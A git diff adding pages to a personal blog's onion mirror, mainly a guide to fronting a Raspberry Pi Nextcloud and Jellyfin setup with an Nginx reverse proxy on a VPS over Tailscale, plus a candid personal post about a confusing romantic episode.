    +sn7ZBIxMaWc5UqijjqgBHhdHz3uSmL+rN4UwLFM3WXXlwl3HdGyjHcNTG7k648s2
    +X5+7a78OZAuDElpyp9y6WqiAFJQdrwBbTv3vvpU+f911voV7ZA+KbUqHsQrISTKz
    +cd+tPw2lcayfBZRtHMrL3fygvT3AWktcSavZrU5EOX/u/P7eMWEYu0FYh6aHqRak
    ++Ft2FR7EPlB2faS6wWYfoua6BYxFvevXX1fk+0HhZn9UJxJPaa/WTgVWDgpt++Ce
    +fdaDmsR69LIj2QTjPMXdQiUKkWPG2ziadTwJEWUHzOuREifmuBgp9Mwedk6zYkdT
    +m5Roi70IPtX3dDDHG5Votw3AKng3gaU7YcNzZVyi3iZkQkUHPUK47Wj21FajikMP
    +gCcWsoYWBRqdhL5XDrodt28AuLpm0cslz79DZdbLnielcjOS+GaUynjLzEWveOib
    +dxLcbIIap+nt315cjvkfatGv14Dres/K7vhQAhqGy5o0LM1D0qc=
    +=o387
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/view_count.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/view_count.md.asc
    +gpg --verify view_count.md.asc view_count.md
    +  
    +
    + + + + +
    + +
    + + + Open on GitHub ↗ +
    + + + + + + + +
    +
    + +
    + + + Comments powered by Isso + +
    + + + + +
    +
    + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + + diff --git a/public-onion/posts/pi_service_touchup/index.html b/public-onion/posts/pi_service_touchup/index.html new file mode 100644 index 0000000..7507c20 --- /dev/null +++ b/public-onion/posts/pi_service_touchup/index.html @@ -0,0 +1,874 @@ + + + + + + + +Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    + +

    + Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin +

    +
    + Cloudflare DNS + Nginx on a VPS + Tailscale to the Pi. Small, boring, and reliable. +
    + +
    +
    +

    I didn’t “move Nextcloud to the cloud”.
    +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄

    +

    This post documents the setup I ended up with:

    +
      +
    • A public VPS (host: funbox) running Nginx + Let’s Encrypt
    • +
    • A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …)
    • +
    • A private backhaul using Tailscale (the 100.x.y.z network)
    • +
    • A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values)
    • +
    • A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin
      +(in addition to Jellyfin’s own login)
    • +
    +

    I’m writing this as a “future me” note and a “copy-paste friendly” guide.

    +
    +

    0) Topology

    +

    The request path looks like:

    + +
    Browser + ↓ HTTPS (public) +Cloudflare DNS (optional proxy on/off) + ↓ +VPS (funbox) — Nginx reverse proxy + Let's Encrypt + ↓ HTTP over Tailscale (private 100.x network) +Raspberry Pi (iot-hub) — Docker: Nextcloud / Jellyfin / …
    + +

    Why I like it:

    +
      +
    • The Pi can sit behind home router / CGNAT and still be reachable.
    • +
    • TLS, redirects, headers, auth, rate limits… all centralized on the VPS.
    • +
    • Internal IPs can change without breaking public URLs.
    • +
    +
    +

    1) What’s running on the Pi?

    +

    On iot-hub the “interesting” containers are:

    +
      +
    • nextcloud (Apache variant)
    • +
    • nextcloud-db (Postgres)
    • +
    • nextcloud-redis
    • +
    • jellyfin
    • +
    +

    Example docker ps style output (yours may vary):

    + +
    nextcloud nextcloud:apache 0.0.0.0:8080->80/tcp +jellyfin jellyfin/jellyfin 0.0.0.0:8096->8096/tcp
    + +

    So on the Pi, the services listen on:

    +
      +
    • http://<pi>:8080 for Nextcloud
    • +
    • http://<pi>:8096 for Jellyfin
    • +
    +

    But in my setup, the VPS does not reach those via LAN — it reaches them via Tailscale IPs.

    +
    +

    2) Tailscale: the private wire between VPS and Pi

    +

    Tailscale assigns each node an address like 100.xx.yy.zz.

    +

    In my config, Nginx on funbox points to the Pi via Tailscale:

    +
      +
    • Nextcloud upstream: http://100.104.127.96:8080
    • +
    • Jellyfin upstream: http://100.104.127.96:8096
    • +
    +

    (Use the Tailscale IP of your Pi.)

    +

    Quick sanity checks from the VPS:

    +
    # from funbox, make sure you can reach the Pi service:
    +curl -I http://100.104.127.96:8080
    +curl -I http://100.104.127.96:8096
    +

    If those don’t work: fix Tailscale connectivity first (ACLs, firewall, node online).

    +
    +

    3) Nginx on the VPS: reverse proxy blocks

    +

    3.1 Nextcloud vhost (VPS → Pi via Tailscale)

    +

    Create (or edit):

    +

    /etc/nginx/sites-available/nextcloud.alipourimjourneys.ir

    +

    and symlink into sites-enabled.

    +

    Here is a complete working example:

    +
    # Redirect HTTP → HTTPS
    +server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name nextcloud.alipourimjourneys.ir;
    +
    +    # Certbot-managed certs
    +    ssl_certificate     /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    # Big uploads (tune to taste)
    +    client_max_body_size 2G;
    +
    +    # CalDAV/CardDAV redirects
    +    location = /.well-known/carddav { return 301 https://$host/remote.php/dav/; }
    +    location = /.well-known/caldav  { return 301 https://$host/remote.php/dav/; }
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8080;
    +
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Sometimes helps apps behind multiple proxies
    +        proxy_set_header X-Forwarded-Host  $host;
    +        proxy_set_header X-Forwarded-Port  $server_port;
    +
    +        # Nextcloud + WebDAV can do long requests
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        # Usually good for DAV/uploads
    +        proxy_buffering off;
    +        proxy_request_buffering off;
    +    }
    +}
    +

    Then test + reload:

    +
    sudo nginx -t
    +sudo systemctl reload nginx
    +

    3.2 Jellyfin vhost (with Basic Auth)

    +

    Create:

    +

    /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir

    +

    Example:

    +
    server {
    +    listen 80;
    +    listen [::]:80;
    +    server_name jellyfin.alipourimjourneys.ir;
    +    return 301 https://$host$request_uri;
    +}
    +
    +server {
    +    listen 443 ssl;
    +    listen [::]:443 ssl;
    +    server_name jellyfin.alipourimjourneys.ir;
    +
    +    ssl_certificate     /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/privkey.pem;
    +    include             /etc/letsencrypt/options-ssl-nginx.conf;
    +    ssl_dhparam         /etc/letsencrypt/ssl-dhparams.pem;
    +
    +    client_max_body_size 512M;
    +
    +    # ✅ Basic Auth gate (extra layer before Jellyfin)
    +    auth_basic "Jellyfin (private)";
    +    auth_basic_user_file /etc/nginx/.htpasswd-jellyfin;
    +
    +    location / {
    +        proxy_pass http://100.104.127.96:8096;
    +        proxy_http_version 1.1;
    +
    +        proxy_set_header Host              $host;
    +        proxy_set_header X-Real-IP         $remote_addr;
    +        proxy_set_header X-Forwarded-For   $proxy_add_x_forwarded_for;
    +        proxy_set_header X-Forwarded-Proto $scheme;
    +
    +        # Jellyfin uses websockets
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +
    +        proxy_read_timeout 3600;
    +        proxy_send_timeout 3600;
    +
    +        proxy_buffering off;
    +    }
    +}
    +

    Enable:

    +
    sudo ln -s /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t
    +sudo systemctl reload nginx
    +

    +

    4) Creating the Basic Auth password file

    +

    Install tools (Debian/Ubuntu):

    +
    sudo apt-get update
    +sudo apt-get install -y apache2-utils
    +

    Create the password file:

    +
    sudo htpasswd -c /etc/nginx/.htpasswd-jellyfin yourusername
    +

    (If adding more users later, omit -c.)

    +

    Lock it down:

    +
    sudo chown root:root /etc/nginx/.htpasswd-jellyfin
    +sudo chmod 640 /etc/nginx/.htpasswd-jellyfin
    +

    Notes on clients

    +
      +
    • Most browsers + most Jellyfin apps handle HTTP Basic Auth fine.
    • +
    • Some TV apps can be quirky. If a client can’t handle it, you can: +
        +
      • remove Basic Auth, or
      • +
      • keep it only on selected paths, or
      • +
      • use Cloudflare Access in front of Jellyfin instead (more work).
      • +
      +
    • +
    +
    +

    5) Nextcloud: configure it to behave behind the reverse proxy

    +

    Nextcloud needs to know:

    +
      +
    • what hostnames are valid,
    • +
    • which proxy is trusted,
    • +
    • and what the “outside” URL scheme is.
    • +
    +

    You can do it via occ inside the container (Apache image uses www-data).

    +

    5.1 trusted_domains

    +

    Check current values:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:get trusted_domains
    +

    Add your public domain:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_domains 1 --value="nextcloud.alipourimjourneys.ir"
    +

    (Keep your internal name too if you still use it, e.g. rpi:8080.)

    +

    5.2 trusted_proxies

    +

    Because requests arrive from the VPS (over Tailscale), Nextcloud must trust that proxy IP.

    +

    Example:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_proxies 0 --value="100.99.79.75"
    +

    (Use the VPS’s Tailscale IP as seen from the Pi.)

    +

    5.3 overwritehost / overwriteprotocol / overwrite.cli.url

    +

    Tell Nextcloud “the world sees me as https://nextcloud.example”:

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwritehost --value="nextcloud.alipourimjourneys.ir"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwriteprotocol --value="https"
    +docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwrite.cli.url --value="https://nextcloud.alipourimjourneys.ir"
    +

    5.4 forwarded_for_headers (optional, but often helpful)

    +
    docker exec -u www-data nextcloud php /var/www/html/occ config:system:set forwarded_for_headers 0 --value="HTTP_X_FORWARDED_FOR"
    +

    Restart Nextcloud container after config:

    +
    docker restart nextcloud
    +

    +

    6) Sanity checks (curl is your friend)

    +

    From anywhere public:

    +
    curl -I http://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir
    +curl -I https://nextcloud.alipourimjourneys.ir/.well-known/caldav
    +

    Expected “good signs”:

    +
      +
    • HTTP returns 301 to HTTPS
    • +
    • HTTPS returns 302 to /login (or 200 if already authenticated)
    • +
    • /.well-known/caldav returns 301 to /remote.php/dav/
    • +
    +

    If you see redirect loops or wrong hostnames:

    +
      +
    • revisit overwritehost, overwriteprotocol, trusted_proxies.
    • +
    +
    +

    7) “Do I really need Cloudflare Access / WARP?”

    +

    The honest answer

    +

    If your setup is:

    +
      +
    • HTTPS only
    • +
    • strong passwords + MFA in Nextcloud/Jellyfin
    • +
    • your origin isn’t directly exposed (only the VPS is public)
    • +
    • you keep things patched
    • +
    +

    …then you’re already in a reasonable place.

    +

    “Can I skip Cloudflare Access?”

    +

    Yes. In this topology, Cloudflare Access is optional. The main security boundary is:

    +
      +
    • Public: VPS + Nginx
    • +
    • Private: Pi over Tailscale
    • +
    +

    For Jellyfin, Basic Auth adds a cheap extra gate that’s “family friendly”.

    +
    +

    8) Cloudflare Access: One-time PIN not arriving + passkeys

    +

    Two common gotchas:

    +

    8.1 One-time PIN email didn’t arrive

    +

    That flow relies on email delivery. Check:

    +
      +
    • spam/junk folder
    • +
    • if your provider blocked it
    • +
    • the exact email allowlist in your policy
    • +
    +

    If it’s flaky, I’d avoid One-time PIN and use a real identity provider.

    +

    8.2 Can I use passkeys / Apple / Google?

    +

    Yes — but passkeys typically come via an identity provider (IdP) that supports WebAuthn/passkeys. +Practical approach:

    +
      +
    • pick what your family already uses (Google or Apple),
    • +
    • configure that as the login method,
    • +
    • avoid WARP enrollment unless you specifically want device-based access.
    • +
    +
    +

    9) Hardening checklist (tiny but effective)

    +

    On the VPS:

    +
      +
    • Keep Ubuntu security updates on
    • +
    • firewall: allow only what you need (22/80/443)
    • +
    • optional: fail2ban for SSH
    • +
    +

    On the Pi:

    +
      +
    • keep Docker images updated
    • +
    • Postgres/Redis not exposed publicly (Docker internal network)
    • +
    • backups: Nextcloud data + DB
    • +
    +
    +

    10) TL;DR

    +
      +
    • VPS Nginx terminates TLS, proxies to Pi over Tailscale
    • +
    • Nextcloud must be told about: +
        +
      • trusted_domains
      • +
      • trusted_proxies
      • +
      • overwrite values (overwritehost, overwriteprotocol, overwrite.cli.url)
      • +
      +
    • +
    • curl -I should show sane redirects + /remote.php/dav/
    • +
    • Jellyfin gets an extra gate with Nginx Basic Auth
    • +
    +

    Boring is good. Boring runs for months.

    +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM
    +jSomZA/+LsB+V0BnPki5qaDc+tRu6EXM5kPuH7G8x5ar4opsKgbfsRKEwT6/Q0Er
    +vfg48uYNp4fBnoyfJrgURx+OwS7EVJRCmXaRsdilEEGHF7cT3qHhlczYaC+58lGs
    ++qXaHjYE8x0byAZ8iHNxNUhIyILVrcsdua3JZ3D3J/8r93dfVgrWg41Nrtj4tPUE
    +QQMW/KxTe/TOED4iivXxFlDCiT13KmgB/B9HeunGPqu8lPMTORf4ePoPzeYEeuuZ
    +iVH+ssNZ9XB00Z4a/c3I0d2ALLYoA/dXmrJkl0qCCpCy+7/id2yz3eXYWn2xKMvp
    +SAMTYaFAV6Fd7xdmxGYEeoCSDu8P57P7QfdPVEU1oUTANO21tEh1vGnjxcFdJUBx
    +kOvBdjQf4wDqUuNv7NKA+OHOzhJ3Wf3VLb/ZNq6Y2okEibsCygm3XDn0008WeKPv
    +ncB0gceY6nFYzbyhuUIhPtQJJWDNi5KG/KMEvYcebEwDzn7TErg/v3Bp8ZCdWRx/
    +Gs8K9nADnHhAjWgwTq3D+2qRWcF0tlLSTmKg+95yaYi0XWWMFGTgCv2odPsgFlIS
    +3FiLJC3rV73prsk+7eZftBTYCJN0Xk92YFj4a6bTYeuLcC20VbAA98Bpi0pCyO0v
    +TJ2+amlKyT+Nq9wGrAez+dTvR0FKuEvA5OO693Aibv/iwOX6UPU=
    +=2UUg
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/pi_service_touchup.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/pi_service_touchup.md.asc
    +gpg --verify pi_service_touchup.md.asc pi_service_touchup.md
    +  
    +
    + + + + +
    + +
    + + + Open on GitHub ↗ +
    + + + + + + + +
    +
    + +
    + + + Comments powered by Isso + +
    + + + + +
    +
    + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + + diff --git a/public-onion/posts/relationships.asc b/public-onion/posts/relationships.asc new file mode 100644 index 0000000..7be341a --- /dev/null +++ b/public-onion/posts/relationships.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfAoYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qBzcP/Ax3OsZE4mpGHNgry66tHo24 +HRt1r0Ye6CWZ1O+/4s0n74+C3hf5z58jF/rVVljFsMs2fJDKbbt/wuAuH8QycZMc +LBQovv9UO2rrxO5T+FkPQAN5wwXO5NiKHKuamf8vswM927m1ogzhGxIIGTgqFvWt +zsFOtAKjt2eLrX0iH5HjHhAbfA8NLwL0IOuo8Uou3goGNLWmYg+YoLJUtCcjLzSv +/NrCeSSUcILL/VYroR+2PJk2O4e4temEtJ68aBAUPLLY43u8fiMcY5C7jpzTA2yU +9nxaDSWgMkTfH5zxPC3s4Wm/OvWLJz+HF+dWGtg5EeAbO3FjrJGDkx89jRjKJvE5 +JDppSbaA4Au1+jWhycXRP0IRJF6LNPM0Rgy58iewg8SNbtwKNrfPO5BjNFkNOJk+ +Uo73DL8CKbb7zryFrE0U/8MbAeil8EcwlGfAYf/Qi1pimrUfE6HAPDd4Rfp8NtrH +n4wWtbnkxRra++wLrhqsUtqbf3Y0R7MovPV3Z/lsumbhLl9OdAkjtQ5XRrCww8yf +UN1oYkbtmuVto/wHJjmWujFphFW5vWdjN/H3qX2qwPgp3zNACvjOl6TmX5QMvVEL +gDiRVyC6joFMZkZTqs+xPhf39Tp/AN1wxRxPPYP0fLs+csJdJS1iVRrCYZWgoYv2 +pbOQX7L+nm92NpyDnYG5 +=k5sD +-----END PGP SIGNATURE----- diff --git a/public-onion/posts/relationships/index.html b/public-onion/posts/relationships/index.html new file mode 100644 index 0000000..f7b2638 --- /dev/null +++ b/public-onion/posts/relationships/index.html @@ -0,0 +1,697 @@ + + + + + + + +Relationships | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    + +

    + Relationships +

    +
    + My experience so far with relationships +
    + +
    +
    +

    Notice: You’ll hear me ranting in this post, so buckle up, or just go to another fun post. I am very vulnerable right now and want to put out my story without naming anyone.

    +

    So… do you also think you’re a lover boy, kind, nice person? +So do I! +I think I’m actually really good at making friends with people. +Like you know, you start introducing yourself, asking them some fun personal questions about hobbies or other stuff, and then you eventually start talking about other things.

    +

    My problem is when things are to become more serious! +Like, you know… connecting at a more emotional level. +A “relationship”. +I’m really bad at those. +In fact, I haven’t ever been in one! +Now let’s be honest, I’m not your typical jacked, handsome boy, but I think I’m somewhere around the average if not higher a bit? +Well, at least I hope so! :D

    +

    I actually haven’t even dated once so far. +My closest dating experience was something that turned out not to be a date, although most people I spoke to, were like… yea dude… it was a date buddy. +Why do I say it wasn’t a date? +Well, because I was told so yesterday by her. +That if it’s a date, you’re supposed to say it beforehand. +I find that very fair actually. +I really do. +I wasn’t even looking for anything more than a friendship from whatever these two weeks of interactions were, but things seemed abnormal. +Like we planned a future together. +We planned planting flowers, hosting Kareoki. We planned cooking/baking together for fun. We talked about me taaching her cycling since she said she was interested in it. And many many other things!
    +We even found our “favorite shops” in the city together! +It was weird! I’m so confused. +I remember the second time we went out together, we sat next to the river and close to eachother. +She leaned into me at some point. +She had also touched my arm gently when making a joke earlier when we went shopping together. +It felt weird. +I did feel she was flirting with me, making plans with me. +She sought my opinion on many things, the house she was considering moving into, color and design of the cushions for her house, and many other things. +We also had many deep conversations in this short amount of time.

    +

    But then it happened. +Suddenly she messaged me saying how she is going to have a bf soon “hopefully”. +That others know him, but not me. +That where we live there are not that many people. +That supply is low, and demand is high. +That this person asked her fast so that “the slots won’t be filled”. +It was weird, as if she was telling me I’m going to be taken if you don’t do anything…? +After this weird encounter I talked to two of my friends, and my married brother and his wife. +When she heard about our interactions and all of the messages we passed, she did feel like I’ve been friendzoning her. +That I’m not resiprocating her feelings. +That she perhaps has a crush on me. +Even my brother felt the same! +My friend was a bit more unsure though, but he also felt like it could really be that she is playing games. +With all honestly, in her messages when she was teaching me the “ways”, she said “I don’t play games and I also advise you not to get together with people that do so”. +Last time we went out together, one-on-one, many of the people we knew saw us together and some of them gave us looks that gave me more confidence that what I’m doing is normal and things are going well. +But I guess I was wrong?

    +

    I do want to talk about some things that we exchanged on this weird conversation that made me confused. +She initially asked why I didn’t go out with them last night. +I had an exam on 7th, but we had planned two one-on-one going outs for 4th and 5th, hence the reason I skipped going out with a group of people rather to have less on my plate for those days we were going to hang out together. +With all honestly I didn’t even know she was joining them or not. +It’s kinda weird, but the plans were made in a group she was not inside of. +Anyway.

    +

    October 4th was a rainy day. +She said she might be catching a cold, and that going out in this weather is maybe not a good choice. +She said let’s go next weekend as the weather is better, and also that we can go out after work hours in weekdays. +You see? She proposed a different time and date, she didn’t just cancel last second. +And then she started talking about last night, the things that happened. +A guy apparently knew him, called her and then hugged her, and she insisted that she had only seen him once in Mensa last year and that she doesn’t know him. +Then she started talking about how there is so much gossip behind her back, and people who know those gossips are wrong do not speak up for her. +And then she talked about how hard it is to be a girl, and how boys do not understand difference between flirting and being polite. +Then she talked about how when two people see each other, a click can happen, and that’s how you can know if you like someone or not. If it’s two way ofc. +I asked her what is this “click”? +She said “you know when you know, and if you think you don’t know then there isn’t one”. +Interesting. +My poor brain started looking back at our own interactions. +I remembered how she smiled at me, leaned toward me, touched my arm, planned a future with me in it… +And again I felt she is hinting something. +Poor me was stuck between a rock and a hard place. +She told me that if I like someone I should ask them on a date “early”, as time is of essence. +Again, I was confused. +I was lost. +We’ve been hanging out for two weeks, we have our favorite similar shops, hobbies. +We have plans together. +We understood eachother. +Or maybe that’s just how I felt in my mind? +Maybe things in my brain are just different? +I don’t know.

    +

    My sister in law told me that she probably had a crush on me and that I didn’t reciprocate her feelings perhaps? +That I’m friendzoning her by not touching her back or asking her out on a “date”. +Her reasoning is that she initiated all of this. +She asked me to go to see the house she was considering renting, and then asked me to go out with her after that. +She told me that I should invite her to a date. +That I have to do something romantic now, maybe get flowers, and a gift. +And I did just that. +I messaged her talking about all of the good traits I had seen from her, her behaviour, and habits. +And I asked her on a date.

    +

    She said she enjoyed the company too, and thanked me. +She then said she is starting a new relationship, but even if that was not the case, “we were so different from eachother at a much deeper level”. +That her “life experiecnes” are just different, “and so on”. +She did actually say “and so on”.

    +

    You know what it reminds me of? +Of when your paper gets rejected by saying “lacks novelty”. xD

    +

    Another extremely funny thing is that she said we’re so different at a much deeper level, but she doesn’t even know me. +What was meant at a deeper level? +I’m confused again. +She definitly does not know my hobbies, most of my interests, my stories, my family, friends, nothing. +She knew nothing about me. +How are we different so deeply if you don’t even know me? I’m so so incredibly confused. +I guess it could be the looks, and the “vibes”? +But again, I do think she did not have a more polite better reason but did want to provide some sort of an explanation so that I won’t pursue her I guess? +Idk.

    +

    I want to also come back to this point she made that she is “starting a new relationship”. +She told me in the same conversation that someone asked her out (which she technically didn’t even say this, but it could be induced), and that going on a date “does not mean you’re in a relationship, that you want to know eachother”. +Her saying that “I said I’m starting a new relationship” hurt me, not because she is doing that, because she didn’t technically tell me that. +She then said “I always tell people this to avoid confusion”. +I definitly didn’t miss it if she did. She didn’t, but whatever. It’s fine. I did apologize. +The reason I say this is that some other guys we knew came up to her and she was encouraging them to go see other girls, but not me… +Did I miss it? +She didn’t. Just trust me on this one. ;)

    +

    I’m just confused. +The last three times I had a crush on someone I confessed too. +First case was in a relationship which became awkward as she told her bf and he bullied me (drat!). +Second case ended up in a tragedy that I do not want to talk about, lol! +All I can say is that she definitly panicked and I don’t blame her. +I do think in her case she had avoidant attachment and my anxious attachment style made her uncomfortable. +The third one said that she is in an “undefined state” of a relationship, and that she wants to keep it “friendly” in university, which is completely fair. +But this last one. +This was the weird one. +The first and third one were really sweet to me when I confessed/asked them out. +The last one didn’t even show interest about being friends, which is again totally fine. +But I’m just so baffeled by all of this.

    +

    So… yea. This last “thing”, whatever it was, was my closest encounter with a relationship, and maybe it will be for a while. +I do think I need to take a break from trying to get into a relationship. +I’ve been hurt a lot by the second one, and this was just confusing. +In her defence she was an amazing person. +Smart, cute, kind, positive, jolly, witty, social, and her taste was just amazing. She also had deep knowledge in many things I was also interested in. Oh well. such is life! +I can’t just say the good stuff though. She was definitly a bit self-centered. It’s funny how she told me that “people say I’m so proud in a negative way, but anyone who talks with me knows I’m not like that”. Which is true, she wasn’t proud, the correct term is self-centered, or “narcissistic” if you will, which I don’t neceserrialy think is bad, but it is definitly an orange/yellow flag.

    +

    One thing I know is that I do wish her and whoever she dates the best! <3 +And that I would be ok to stay friends with her, but since I’m hurt, I will be much colder. +Sorry. :) +And another thing I know is that I will never think about her, or people like her romantically, or at least I try not to. +Fast progression ends like this? +But then maybe we never progressed? +I don’t know.

    +

    Well. I don’t know what’s gonna happen next, but I’m going to just live my life and have fun. +Aaaaaaaand maybe not worry about being single? +Being single is fun too! ^^ You have so much freedom. I love to also work on myself a bit, lose some weight, do the sports I love, and make new friends. Maybe someday this hopeless romantic little lover boy won’t be alone? Who knows? haha.

    +
    +

    P.S.: My therapist thought this relationship was abusive in essense, and the thing that happened in the end was purely seductive. I was chasing bread crumbs to be taken advantage of. I’m worth more than that. :) In my therapy session I remembered that in each of these so called “not dates” we had a conversation about “her”, and she was dumping her emotional baggage on me, just like what happened this last time that confused me.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt8ACgkQtYgoUOBM
    +jSqiiQ//eJCVvQEStc2rjNW3CYCwsumCJcZOWFPevf16UiZ6vDqzmIVwrA++dKrn
    ++rKVPmutHY5fR367QSXtfFqIxtsBKJ7zF/OMkYT8Kyi0EfI0Tiz7Hs7pT0rnw1Ns
    +pl+tEYMazzRwbHV3PEgKDVktc4TlCz0MwaUQ+pBdSu0tCU4flVcDiTagVUE0hId8
    +LC/unRH9o1S/iLLM4Fhao7Aifxr+lAjyi9v1//rlvhrbTt1L1mcFRFdnEf/4n4M8
    +x/cNOHdqjE3w/QNcjqAJDzy91ewxsiozSmwqx8fTdOmWpqXBtva4falGOQjgxzdR
    +l62/9qOspUMSf3nrePLMbDpJ2UvFZOna7pfNByX4TkMG5aquZH7ZjpiAhIRD706Y
    +Bq942gP8J14AnhZfss7QNY65dQV+h4WH+nnNELB0j9ekB2kEOdz3HzrbelKRdiOW
    +vd738e/uEkDwSD7t2ZIxsshVE/s9RbpKlPTV1M6qKkW2LGUcOvZ5KcVGkLFQDilo
    +6F5bjdx//SRiRfP1AwLyUggQCN8hDHKBvdpKOaVVdox49vZuUvFdHeyObbc/Hzoo
    +9V5I6WIfGqsCwwzcvndgVYbQ31q5NQ2Fc8dgQf219e9Mk/dyjTfea+6oBIiUF8j+
    +SB3F3CBqqIQDvofrLbHgD8KyeiigvSuoHReao7hjAmIJBhxYsjQ=
    +=lM4c
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/relationships.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/relationships.md.asc
    +gpg --verify relationships.md.asc relationships.md
    +  
    +
    + + + + +
    + +
    + + + Open on GitHub ↗ +
    + + + + + + + +
    +
    + +
    + + + Comments powered by Isso + +
    + + + + +
    +
    + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + + diff --git a/public-onion/posts/sadness.asc b/public-onion/posts/sadness.asc new file mode 100644 index 0000000..7f83e73 --- /dev/null +++ b/public-onion/posts/sadness.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfA8YHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qTFQQAKC5Fhs5OqY4yToIiqesfR3e +3PXeequqBthz32/2qbwmAQJ1gX27lZ49eBdj1jLA4IAF3v+5oODIN5hgr5FKRVxH +s3MMCJ6a1dQhUSC+CIvOobWt3iACYo80b2RRq9xmzTKrStIfOEHq9KnY6lyneHmG +7eaG16Np9y/h61Hlc8ljjzOzPvoDeeZF+RLMlgZw5LE/xTvG2dokvIazsrCTV/+O +gBZei+1HTBjtLxbTibO5+IsbjNYBHhn/T343+gzGn7NISNSnYbgGoZHLEqVO6bBH +YwHETdabjtx9FoRhn3Mz3GZ1IeE8Q+0kwGvUFxL1onrz+/153yMk5BRCvQQELTZ7 +pa9cJMarVtA2MllHZ+hz4yIlWRlLEVD+WtkjGjgms8BcWI7Kn/kl17hYjuU/IZ1k +hTNB4JlVZeBXj9TxFbIPJ1ouMXWWsaiHBmIeqL3jxscI75rNkn6ey5Gf+lk2FZ73 +4QeJau64U0ccOJwalL3PjE9ZXkl40SuKC5xMquftb1QdVId7awMOVaoxGG2fdrZt +cRcnYl8JyPuQ7MO4BrLtYlhn1KEh7sl1IFYXI3DIdMlYNpPjaVUIwd2Q12AtQc3Q +BYLk0RtCeYUXEMdo9if//Y1oaayxJdbkTDSlxvynnCvYbkWxrMs9VmugHBDMiqub +UCxPCH0B2tgko6k/fFme +=E8zz +-----END PGP SIGNATURE----- diff --git a/public-onion/posts/sadness/index.html b/public-onion/posts/sadness/index.html new file mode 100644 index 0000000..d8b7404 --- /dev/null +++ b/public-onion/posts/sadness/index.html @@ -0,0 +1,640 @@ + + + + + + + +Sadness | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
